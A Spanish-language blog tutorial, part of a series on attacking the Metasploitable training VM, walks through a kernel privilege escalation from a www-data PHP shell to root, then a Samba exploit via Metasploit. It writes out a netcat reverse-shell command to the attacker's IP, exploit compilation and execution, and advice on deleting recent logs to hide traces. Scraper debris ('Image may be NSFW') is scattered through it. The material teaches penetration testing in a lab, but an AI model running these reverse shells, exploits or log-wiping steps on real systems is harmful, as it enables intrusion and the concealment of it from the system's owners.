En esta entrada vamos a seguir explotando vulnerabilidades de la distro de entrenamiento Metasploitable. Si recordais, en la última entrada acabamos consiguiendo una reverse shell mediante php y netcat. En la entrada de hoy, vamos a partir de esa shell, para mediante un exploit en C realizar una elevación de privilegios y conseguir root.
Posteriormente utilizaremos otro exploit (vía Metasploit) para explotar Samba (que como vimos en la primera entrada está corriendo bajo los puertos 139 y 445).
Empezamos
Escalación de privilegios
Partimos de la shell del último día, si no os acordais consultad la parte 2 de esta serie de tutoriales. O bien seguid estos pasos:
-
Ejecutar un netcat en el puerto 1234 con:
nc -vnlp 1234
- Y después visitar la url donde estaba subida la reverse shell, en mi caso era http://192.168.0.2/tikiwiki/backups/prs.php
Ya tendremos acceso a la shell, como se puede apreciar en esta imagen:
Image may be NSFW.
Clik here to view.
Ahora podemos ver con el comando whoami y el comando id cual es la id de nuestro usuario, y su grupo:
$ whoami www-data $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Podemos tambien mediante uname -a y uname -r observar los datos relacionados con el Kernel que corre el servidor:
$ uname -a && uname -r Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux 2.6.24-16-server
Ahora podemos ir a exploit-db y realizar una búsqueda de exploits para dicha version del Kernel.
En nuestro caso utilizaremos este exploit lo más lógico sería hacer un wget mediante la shell que tenemos y descargarlo in-situ. Pero no tenemos privilegios de escritura con dicho usuario (www-data). Así que si le echamos un poco más de imaginación y recordando que la shell en php que subimos en el ejemplo anterior se encuentra en http://192.168.0.2/tikiwiki/backups/prs.php. Si accedemos a la ruta /var/www/tikiwiki/backups/ encontraremos el archivo prs.php, así que subiremos el exploit de la misma manera que subimos la shell en php, accediendo a la url http://192.168.0.2/tikiwiki/tiki-backup.php.
Image may be NSFW.
Clik here to view.
Si no estamos en /var/www/tikiwiki/backups/ nos movemos a ese directorio, y allí compilamos el exploit que hemos subido con gcc:
gcc lpexploit.c -o exploit
Ahora, vamos a preparar una conexión desde la shell que tenemos a Backtrack (la ip de nuestro Backtrack es 192.168.0.6) , para cuando ejecutemos el exploit. Lo haremos con:
echo '#!/bin/sh' > /tmp/run echo '/bin/netcat -e /bin/sh 192.168.0.6 1234' >> /tmp/run
Una vez hecho esto, tenemos que comprobar que pid tiene udev, ya que a nuestro exploit tenemos que pasarle un argumento, que es el pid de udev – 1:
$ ps -edf | grep udev root 3018 1 0 10:59 ? 00:00:00 /sbin/udevd --daemon www-data 5483 5469 0 11:03 ? 00:00:00 grep udev
Ahora, solo nos queda ejecutar otro netcat, que es donde obtendremos la root shell:
nc -vlp 1234
Y desde la shell que tenemos ejecutamos ./exploit 3017 (3017, es el pid de udev -1):
Image may be NSFW.
Clik here to view.
Nota: Si queremos borrar nuestros rastros (al menos de manera superficial) no podemos olvidarnos de borrar lpexploit.c y gracias al comando find -name \*.log -mmin x podemos ver los archivos modificados en los últimos x minutos para borrar nuestras huellas (ejecutar dentro de /var/logs/).
Explotando Samba con Metasploit
Arrancamos Metasploit, con el comando msfconsole, como siempre y vamos a realizar una búsqueda con “samba”, a ver si hay exploits disponibles:
msf > search samba
Usaremos exploit/multi/samba/usermap_script, lo cargamos, como de costumbre, con use, y miramos las opciones que nos ofrece el exploit.
msf > use exploit/multi/samba/usermap_script msf exploit(usermap_script) > show options
Image may be NSFW.
Clik here to view.
Con set RHOST [ip] le pasamos al exploit la ip de Metasploitable, y con RPORT el puerto, en nuestro caso el 445 como ya dijimos anteriormente:
msf exploit(usermap_script) > set RHOST 192.168.0.2 msf exploit(usermap_script) > set RPORT 445
Ahora con show payloads elegiremos un payload de nuestro gusto, en mi caso cmd/unix/reverse
msf exploit(usermap_script) > show payloads
Image may be NSFW.
Clik here to view.
Ahora solo nos queda ejecutar el exploit con exploit y ya tenemos otra shell:
Image may be NSFW.
Clik here to view.
Happy training Image may be NSFW.
Clik here to view.